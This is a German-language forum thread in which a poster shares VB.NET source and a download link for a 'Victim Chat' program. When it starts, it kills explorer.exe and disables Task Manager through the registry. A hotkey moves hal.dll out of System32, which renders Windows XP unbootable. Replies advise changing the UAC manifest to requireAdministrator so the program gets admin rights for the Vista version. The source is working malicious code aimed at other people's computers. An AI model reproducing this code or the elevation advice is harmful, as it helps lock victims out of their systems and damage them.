-
Victim Chat
Hi
Ich habe einen kleinen Programm gemacht,mit dem man nicht mehr über das blöde .txt Dokument mit dem Victim chatten muss :)
Wenn ihr es startet,wird der explorer und der taskmanager(nur bei xp) gekillt.
mit f2 wird hal.dll(auch nur xp) gelöscht.
Wenn ihr auf f1 drückt,wird der task manager,die explorer.exe und die hal.dll wiederhergestellt und das Chat Fenster geht weg.
Also,an dieser Stelle hätte ich noch eine Frage.
Wie mache ich,dass bei Vista der task manager gekillt wird und die hal.dll gelöscht bzw umbenannt oder verschiebt wird?Dafür braucht man ja Admin Rechte-.-
Hier der Source Code,ist nichts besonderes =)
Edit:Link :D
http://rapidshare.com/files/263082313/Victim_Chat.exe
Code:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Shell("taskkill /f /im ""Explorer.exe""")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies\System")
regKey.SetValue("DisableTaskMgr", 1)
End Sub
Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(113) Then
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows")
End If
If GetAsyncKeyState(112) Then
Shell("Explorer.exe")
Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies\System")
regKey.SetValue("DisableTaskMgr", 0)
Shell("C:\Windows\Explorer.exe")
System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows\hal.dll")
End
ElseIf GetAsyncKeyState(112) Then
Shell("C:\Windows\Explorer.exe")
ElseIf GetAsyncKeyState(112) Then
End
End If
End Sub
Private Sub RichTextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox2.TextChanged
End Sub
End Class
Credits:me,sonix
-
Du kannst deinem programm adminrechte geben.
Geh mal Projekt>Eigenschaften>"Einstellungen für die Benutzerkontensteuerung anzeigen"
Eine der letzten zeilen:
Code:
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
Musst du ersetzen mit
Code:
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />"
Grüße
-
Hi Kaspersky
Ich habe es so gemacht,wie du es beschrieben hast,aber die hal.dll kann ich trotzdem nicht ändern <.<
Hat jemand eine Idee,wie ich das bewerkstelligen könnte?
-
Hey,
Hmm dann liegt es aber nicht an der benutzerkontensteuerung.
Obwohl, weil das prog auf system daten zugreifen will, wird das da wohl nichts bringen.
"uiaccess" auf true setzten kannst du auch noch machen.
-
Hey fettes thx von deinem Quellcode konnte ich gut was lernen^^!!!
Ja mal was neues würde ich sagen :P!